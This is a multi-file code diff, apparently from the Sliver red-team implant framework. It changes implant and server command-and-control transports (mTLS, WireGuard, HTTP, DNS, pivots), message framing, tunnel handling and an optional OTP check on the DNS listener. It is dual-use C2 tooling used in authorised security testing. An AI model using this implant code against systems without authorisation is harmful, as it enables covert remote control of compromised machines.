}
return c.uri.String()
}
// ProxyURL - Get the c2 URL of the connection
func (c *Connection) ProxyURL() string {
if c.proxyURL == nil {
return ""
}
return c.proxyURL.String()
}
// Cleanup - Execute cleanup once
func (c *Connection) Cleanup() {
c.once.Do(func() {
c.cleanup()
c.IsOpen = false
})
}
// Tunnel - Duplex byte read/write
type Tunnel struct {
ID uint64
Reader io.ReadCloser
ReadSequence uint64
Writer io.WriteCloser
WriteSequence uint64
}
// Tunnel - Add tunnel to mapping
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
}
// AddTunnel - Add tunnel to mapping
func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
}
func (c *Connection) RequestResend(data []byte) {
c.Send <- &pb.Envelope{
Type: pb.MsgTunnelData,
Data: data,
}
}
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
@@ -295,7 +215,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[mtls] lost connection, cleanup...")
// {{end}}
close(send)
conn.Close()
close(recv)
},
@@ -334,6 +253,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if !ok {
return
}
// {{if .Config.Debug}}
log.Printf("TRANSPORT MESSAGE: type (%d) - %s", envelope.Type, envelope.Data)
// {{end}}
err := mtls.WriteEnvelope(conn, envelope)
if err != nil {
return
@@ -352,7 +274,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := mtls.ReadEnvelope(conn)
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[mtls] eof")
// {{end}}
return
}
if err != io.EOF && err != nil {
break
@@ -393,7 +318,6 @@ func wgConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[wg] lost connection, cleanup...")
// {{end}}
close(send)
conn.Close()
dev.Down()
close(recv)
@@ -462,7 +386,10 @@ func wgConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := wireguard.ReadEnvelope(conn)
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[wireguard] eof")
// {{end}}
return
}
if err != io.EOF && err != nil {
break
@@ -499,7 +426,6 @@ func httpConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[http] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- struct{}{}
close(recv)
},
@@ -547,6 +473,12 @@ func httpConnect(uri *url.URL) (*Connection, error) {
return
default:
envelope, err := client.ReadEnvelope()
if err == io.EOF {
// {{if .Config.Debug}}
log.Printf("[http] eof")
// {{end}}
return
}
switch errType := err.(type) {
case nil:
errCount = 0
@@ -614,7 +546,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[dns] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- struct{}{} // Stop polling
close(recv)
},
@@ -678,6 +609,11 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
log.Printf("[dns] session is closed")
// {{end}}
return
case io.EOF:
// {{if .Config.Debug}}
log.Printf("[dns] eof")
// {{end}}
return
default:
errCount++
// {{if .Config.Debug}}
@@ -720,7 +656,6 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
log.Printf("[tcp pivot] lost connection, cleanup...")
// {{end}}
pingCtrl <- struct{}{}
close(send)
ctrl <- struct{}{}
close(recv)
},
@@ -794,7 +729,10 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := pivot.ReadEnvelope()
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[tcp pivot] eof")
// {{end}}
return
}
if err != nil {
// {{if .Config.Debug}}
+62
View File
@@ -0,0 +1,62 @@
package transports
import (
"io"
"sync"
)
// Tunnel - Duplex byte read/write
type Tunnel struct {
ID uint64
Reader io.ReadCloser
readSequence uint64
Writer io.WriteCloser
writeSequence uint64
mutex *sync.RWMutex
}
func NewTunnel(id uint64, reader io.ReadCloser, writer io.WriteCloser) *Tunnel {
return &Tunnel{
ID: id,
Reader: reader,
Writer: writer,
mutex: &sync.RWMutex{},
}
}
func (c *Tunnel) ReadSequence() uint64 {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.readSequence
}
func (c *Tunnel) WriteSequence() uint64 {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.writeSequence
}
func (c *Tunnel) IncReadSequence() {
c.mutex.Lock()
defer c.mutex.Unlock()
c.readSequence += 1
}
func (c *Tunnel) IncWriteSequence() {
c.mutex.Lock()
defer c.mutex.Unlock()
c.writeSequence += 1
}
// Close - close tunnel reader and writer
func (c *Tunnel) Close() {
c.Reader.Close()
c.Writer.Close()
}
@@ -26,6 +26,7 @@ import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
@@ -48,7 +49,6 @@ import (
)
var (
readBufSize = 16 * 1024 // 16kb
serverTunIP = "100.64.0.1" // Don't let user configure this for now
tunnelNet *netstack.Net
tunAddress string
@@ -111,8 +111,8 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
if len(dataLengthBuf) == 0 || connection == nil {
panic("[[GenerateCanary]]")
}
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
// {{end}}
@@ -120,23 +120,22 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[wireguard] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
return nil, err
}
// Unmarshal the protobuf envelope
+14 -4
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.20.0
// protoc-gen-go v1.28.0
// protoc v3.20.1
// source: clientpb/client.proto
package clientpb
@@ -2606,6 +2606,7 @@ type DNSListenerReq struct {
Host string `protobuf:"bytes,3,opt,name=Host,proto3" json:"Host,omitempty"`
Port uint32 `protobuf:"varint,4,opt,name=Port,proto3" json:"Port,omitempty"`
Persistent bool `protobuf:"varint,5,opt,name=Persistent,proto3" json:"Persistent,omitempty"`
EnforceOTP bool `protobuf:"varint,6,opt,name=EnforceOTP,proto3" json:"EnforceOTP,omitempty"`
}
func (x *DNSListenerReq) Reset() {
@@ -2675,6 +2676,13 @@ func (x *DNSListenerReq) GetPersistent() bool {
return false
}
func (x *DNSListenerReq) GetEnforceOTP() bool {
if x != nil {
return x.EnforceOTP
}
return false
}
type DNSListener struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -5850,7 +5858,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a,
0x0a, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a,
0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49,
0x44, 0x22, 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
0x44, 0x22, 0xae, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
0x72, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18,
0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a,
0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08,
@@ -5859,7 +5867,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f,
0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74,
0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65,
0x6e, 0x74, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50,
0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f,
0x54, 0x50, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d,
0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xcf, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50,
0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44,
+1
View File
@@ -282,6 +282,7 @@ message DNSListenerReq {
string Host = 3;
uint32 Port = 4;
bool Persistent = 5;
bool EnforceOTP = 6;
}
message DNSListener {
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.20.0
// protoc v3.19.4
// source: commonpb/common.proto
package commonpb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.20.0
// protoc-gen-go v1.28.0
// protoc v3.20.1
// source: dnspb/dns.proto
package dnspb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.20.0
// protoc-gen-go v1.28.0
// protoc v3.20.1
// source: rpcpb/services.proto
package rpcpb
+4
View File
@@ -1,4 +1,8 @@
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
// versions:
// - protoc-gen-go-grpc v1.2.0
// - protoc v3.20.1
// source: rpcpb/services.proto
package rpcpb
File diff suppressed because it is too large. Load diff
+1
View File
@@ -242,6 +242,7 @@ message Download {
int64 Start = 4;
int64 Stop = 5;
bytes Data = 6;
bool IsDir = 7;
commonpb.Response Response = 9;
}
+1
View File
@@ -4,4 +4,5 @@ fs/*.zip
fs/darwin/amd64/
fs/darwin/arm64/
fs/linux/amd64/
fs/linux/arm64/
fs/windows/amd64/
+10
View File
@@ -0,0 +1,10 @@
//go:build server
package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/arm64/*
assetsFs embed.FS
)
+43 -51
View File
@@ -37,33 +37,29 @@ package c2
import (
"bytes"
secureRand "crypto/rand"
"encoding/base64"
"encoding/binary"
"errors"
"fmt"
"hash/crc32"
"sort"
"strings"
"sync"
"time"
"unicode"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/dnspb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/generate"
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"encoding/base64"
"encoding/binary"
"fmt"
"strings"
"sync"
"time"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/util/encoders"
"github.com/miekg/dns"
"google.golang.org/protobuf/proto"
)
const (
@@ -82,15 +78,15 @@ var (
)
// StartDNSListener - Start a DNS listener
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *SliverDNSServer {
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) *SliverDNSServer {
// StartPivotListener()
server := &SliverDNSServer{
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
sessions: &sync.Map{}, // DNS Session ID -> DNSSession
messages: &sync.Map{}, // In progress message streams
totpToSessionID: &sync.Map{}, // Atomic TOTP -> DNS Session ID
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
sessions: &sync.Map{}, // DNS Session ID -> DNSSession
messages: &sync.Map{}, // In progress message streams
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
EnforceOTP: enforceOTP,
}
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
@@ -310,12 +306,12 @@ func (p *PendingEnvelope) Insert(dnsMsg *dnspb.DNSMessage) bool {
// SliverDNSServer - DNS server implementation
type SliverDNSServer struct {
server *dns.Server
sessions *sync.Map
messages *sync.Map
totpToSessionID *sync.Map
TTL uint32
MaxTXTLength int
server *dns.Server
sessions *sync.Map
messages *sync.Map
TTL uint32
MaxTXTLength int
EnforceOTP bool
}
// Shutdown - Shutdown the DNS server
@@ -465,33 +461,29 @@ func (s *SliverDNSServer) refusedErrorResp(req *dns.Msg) *dns.Msg {
func (s *SliverDNSServer) handleTOTP(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[dns] totp request: %v", msg)
totpCode := fmt.Sprintf("%08d", msg.ID)
valid, err := cryptography.ValidateTOTP(totpCode)
if err != nil || !valid {
dnsLog.Warnf("totp request invalid (%v)", err)
return s.nameErrorResp(req)
if s.EnforceOTP {
valid, err := cryptography.ValidateTOTP(totpCode)
if err != nil || !valid {
dnsLog.Warnf("totp request invalid (%v)", err)
return s.nameErrorResp(req)
}
dnsLog.Debugf("[dns] totp request valid")
} else {
dnsLog.Warn("[dns] totp validation is disabled")
}
dnsLog.Debugf("[dns] totp request valid")
// Queries must be deterministic, so create or load the dns session id
// we'll likely get multiple queries for the same domain
actualID, loaded := s.totpToSessionID.LoadOrStore(totpCode, dnsSessionID())
dnsSessionID := actualID.(uint32)
dnsSessionID := dnsSessionID()
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
if !loaded {
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
ID: dnsSessionID & sessionIDBitMask,
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
incomingEnvelopes: map[uint32]*PendingEnvelope{},
incomingMutex: &sync.Mutex{},
msgCount: uint32(0),
})
go func() {
time.Sleep(90 * time.Second) // Best effort to remove totp code after expiration
s.totpToSessionID.Delete(totpCode)
}()
}
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
ID: dnsSessionID & sessionIDBitMask,
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
incomingEnvelopes: map[uint32]*PendingEnvelope{},
incomingMutex: &sync.Mutex{},
msgCount: uint32(0),
})
resp := new(dns.Msg)
resp.SetReply(req)
resp.Authoritative = true
+2 -2
View File
@@ -140,7 +140,7 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
}
func TestIsC2Domain(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false)
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
if !isC2 {
t.Fatal("IsC2Domain expected true, got false")
@@ -163,7 +163,7 @@ func TestIsC2Domain(t *testing.T) {
}
func TestDetermineLikelyEncoders(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false)
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
sample := randomDataRandomSize(2048)
b58Sample := string(encoders.Base58{}.Encode(sample))
likelyEncoders := listener.determineLikelyEncoders(b58Sample)
+3 -3
View File
@@ -146,8 +146,8 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
}
// StartDNSListenerJob - Start a DNS listener as a job
func StartDNSListenerJob(bindIface string, lport uint16, domains []string, canaries bool) (*core.Job, error) {
server := StartDNSListener(bindIface, lport, domains, canaries)
func StartDNSListenerJob(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) (*core.Job, error) {
server := StartDNSListener(bindIface, lport, domains, canaries, enforceOTP)
description := fmt.Sprintf("%s (canaries %v)", strings.Join(domains, " "), canaries)
job := &core.Job{
ID: core.NextJobID(),
@@ -362,7 +362,7 @@ func StartPersistentJobs(cfg *configs.ServerConfig) error {
}
for _, j := range cfg.Jobs.DNS {
job, err := StartDNSListenerJob(j.Host, j.Port, j.Domains, j.Canaries)
job, err := StartDNSListenerJob(j.Host, j.Port, j.Domains, j.Canaries, j.EnforceOTP)
if err != nil {
return err
}
+16 -27
View File
@@ -23,7 +23,9 @@ import (
"crypto/tls"
"crypto/x509"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
consts "github.com/bishopfox/sliver/client/constants"
@@ -38,8 +40,6 @@ import (
const (
// defaultServerCert - Default certificate name if bind is "" (all interfaces)
defaultServerCert = ""
readBufSize = 1024
)
var (
@@ -111,6 +111,7 @@ func handleSliverConnection(conn net.Conn) {
}
implantConn.RespMutex.RUnlock()
} else if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func() {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
@@ -156,39 +157,27 @@ func socketWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) error
// socketReadEnvelope - Reads a message from the TLS connection using length prefix framing
// returns messageType, message, and error
func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data, keep in mind each call to .Read() may not
// fill the entire buffer length that we specify, so instead we use two buffers
// readBuf is the result of each .Read() operation, which is then concatinated
// onto dataBuf which contains all of data read so far and we keep calling
// .Read() until the running total is equal to the length of the message that
// we're expecting or we get an error.
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
mtlsLog.Errorf("Read error: %s", err)
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
mtlsLog.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
if err != nil {
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
mtlsLog.Errorf("Socket error (read data): %v", err)
return nil, err
}
+16 -23
View File
@@ -22,7 +22,9 @@ import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
"net/netip"
@@ -260,36 +262,27 @@ func socketWGReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
wgLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data, keep in mind each call to .Read() may not
// fill the entire buffer length that we specify, so instead we use two buffers
// readBuf is the result of each .Read() operation, which is then concatinated
// onto dataBuf which contains all of data read so far and we keep calling
// .Read() until the running total is equal to the length of the message that
// we're expecting or we get an error.
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
wgLog.Errorf("Read error: %s", err)
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
wgLog.Errorf("[wireguard] read error: %s\n", err)
// {{end}}
return nil, errors.New("[wireguard] zero data length")
}
if err != nil {
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
wgLog.Errorf("Socket error (read data): %v", err)
return nil, err
}
-1
View File
@@ -23,7 +23,6 @@ import (
"path"
"github.com/bishopfox/sliver/server/log"
"golang.org/x/crypto/acme/autocert"
)
+5 -5
View File
@@ -1,10 +1,5 @@
package certs
import (
"crypto/rand"
"crypto/rsa"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -23,6 +18,11 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/rand"
"crypto/rsa"
)
const (
// HTTPSCA - Directory containing operator certificates
HTTPSCA = "https"
+18
View File
@@ -1,5 +1,23 @@
package certs
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/hex"
"errors"
-1
View File
@@ -34,7 +34,6 @@ import (
"github.com/bishopfox/sliver/server/console"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/daemon"
"github.com/spf13/cobra"
)
+1 -1
View File
@@ -35,7 +35,7 @@ import (
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 92
chromeBaseVer = 97
)
// HTTPC2Config - Parent config file struct for implant/server
+6 -5
View File
@@ -93,11 +93,12 @@ type WGJobConfig struct {
// DNSJobConfig - Persistent DNS job config
type DNSJobConfig struct {
Domains []string `json:"domains"`
Canaries bool `json:"canaries"`
Host string `json:"host"`
Port uint16 `json:"port"`
JobID string `json:"job_id"`
Domains []string `json:"domains"`
Canaries bool `json:"canaries"`
Host string `json:"host"`
Port uint16 `json:"port"`
JobID string `json:"job_id"`
EnforceOTP bool `json:"enforce_otp"`
}
// HTTPJobConfig - Persistent HTTP job config
+28 -15
View File
@@ -28,31 +28,44 @@ import (
// ImplantConnection - Abstract connection to an implant
type ImplantConnection struct {
ID string
Send chan *sliverpb.Envelope
RespMutex *sync.RWMutex
Resp map[int64]chan *sliverpb.Envelope
Transport string
RemoteAddress string
LastMessage time.Time
Cleanup func()
ID string
Send chan *sliverpb.Envelope
RespMutex *sync.RWMutex
LastMessageMutex *sync.RWMutex
Resp map[int64]chan *sliverpb.Envelope
Transport string
RemoteAddress string
LastMessage time.Time
Cleanup func()
}
// GetLastMessage - Retrieves the last message time
func (c *ImplantConnection) GetLastMessage() time.Time {
c.LastMessageMutex.RLock()
defer c.LastMessageMutex.RUnlock()
return c.LastMessage
}
// UpdateLastMessage - Updates the last message time
func (c *ImplantConnection) UpdateLastMessage() {
c.LastMessageMutex.Lock()
defer c.LastMessageMutex.Unlock()
c.LastMessage = time.Now()
}
// NewImplantConnection - Creates a new implant connection
func NewImplantConnection(transport string, remoteAddress string) *ImplantConnection {
return &ImplantConnection{
ID: generateImplantConnectionID(),
Send: make(chan *sliverpb.Envelope),
RespMutex: &sync.RWMutex{},
Resp: map[int64]chan *sliverpb.Envelope{},
Transport: transport,
RemoteAddress: remoteAddress,
Cleanup: func() {},
ID: generateImplantConnectionID(),
Send: make(chan *sliverpb.Envelope),
RespMutex: &sync.RWMutex{},
LastMessageMutex: &sync.RWMutex{},
Resp: map[int64]chan *sliverpb.Envelope{},
Transport: transport,
RemoteAddress: remoteAddress,
Cleanup: func() {},
}
}
+11 -4
View File
@@ -24,6 +24,7 @@ import (
"time"
"github.com/bishopfox/sliver/implant/sliver/transports/mtls"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/log"
@@ -75,13 +76,13 @@ type Session struct {
// LastCheckin - Get the last time a session message was received
func (s *Session) LastCheckin() time.Time {
return s.Connection.LastMessage
return s.Connection.GetLastMessage()
}
// IsDead - See if last check-in is within expected variance
func (s *Session) IsDead() bool {
sessionsLog.Debugf("Checking health of %s", s.ID)
sessionsLog.Debugf("Last checkin was %v", s.Connection.LastMessage)
sessionsLog.Debugf("Last checkin was %v", s.LastCheckin())
padding := time.Duration(10 * time.Second) // Arbitrary margin of error
timePassed := time.Since(s.LastCheckin())
reconnect := time.Duration(s.ReconnectInterval)
@@ -91,13 +92,19 @@ func (s *Session) IsDead() bool {
return false
}
if s.Connection.Transport == consts.MtlsStr {
if time.Since(s.Connection.LastMessage) < mtls.PingInterval+padding {
if timePassed < mtls.PingInterval+padding {
sessionsLog.Debugf("Last message within ping interval with padding")
return false
}
}
if s.Connection.Transport == consts.WGStr {
if timePassed < wireguard.PingInterval+padding {
sessionsLog.Debugf("Last message with ping interval with padding")
return false
}
}
if s.Connection.Transport == "pivot" {
if time.Since(s.Connection.LastMessage) < time.Duration(time.Minute)+padding {
if time.Since(s.Connection.GetLastMessage()) < time.Duration(time.Minute)+padding {
sessionsLog.Debugf("Last message within pivot/server ping interval with padding")
return false
}
+84 -6
View File
@@ -23,6 +23,7 @@ import (
"encoding/binary"
"errors"
"sync"
"time"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -40,6 +41,12 @@ var (
ErrInvalidTunnelID = errors.New("invalid tunnel ID")
)
const (
// delayBeforeClose - delay before closing the tunnel.
// I assume 10 seconds may be an overkill for a good connection, but it looks good enough for less stable one.
delayBeforeClose = 10 * time.Second
)
// Tunnel - Essentially just a mapping between a specific client and sliver
// with an identifier, these tunnels are full duplex. The server doesn't really
// care what data gets passed back and forth it just facilitates the connection
@@ -54,6 +61,43 @@ type Tunnel struct {
FromImplantSequence uint64
Client rpcpb.SliverRPC_TunnelDataServer
mutex *sync.RWMutex
lastDataMessageTime time.Time
}
func NewTunnel(id uint64, sessionID string) *Tunnel {
return &Tunnel{
ID: id,
SessionID: sessionID,
ToImplant: make(chan []byte),
FromImplant: make(chan *sliverpb.TunnelData),
mutex: &sync.RWMutex{},
lastDataMessageTime: time.Now(), // need to be initialized
}
}
func (t *Tunnel) setLastMessageTime() {
t.mutex.Lock()
defer t.mutex.Unlock()
t.lastDataMessageTime = time.Now()
}
func (t *Tunnel) GetLastMessageTime() time.Time {
t.mutex.RLock()
defer t.mutex.RUnlock()
return t.lastDataMessageTime
}
func (t *Tunnel) SendDataFromImplant(tunnelData *sliverpb.TunnelData) {
// Setting the date right before and right after message, since channel can be blocked for some amount of time
t.setLastMessageTime()
defer t.setLastMessageTime()
t.FromImplant <- tunnelData
}
type tunnels struct {
@@ -64,12 +108,12 @@ type tunnels struct {
func (t *tunnels) Create(sessionID string) *Tunnel {
tunnelID := NewTunnelID()
session := Sessions.Get(sessionID)
tunnel := &Tunnel{
ID: tunnelID,
SessionID: session.ID,
ToImplant: make(chan []byte),
FromImplant: make(chan *sliverpb.TunnelData),
}
tunnel := NewTunnel(
tunnelID,
session.ID,
)
t.mutex.Lock()
defer t.mutex.Unlock()
t.tunnels[tunnel.ID] = tunnel
@@ -77,6 +121,39 @@ func (t *tunnels) Create(sessionID string) *Tunnel {
return tunnel
}
// ScheduleClose - schedules a close for tunnel, must be called as routine.
// will close it once there is no data for at least delayBeforeClose delay since last message
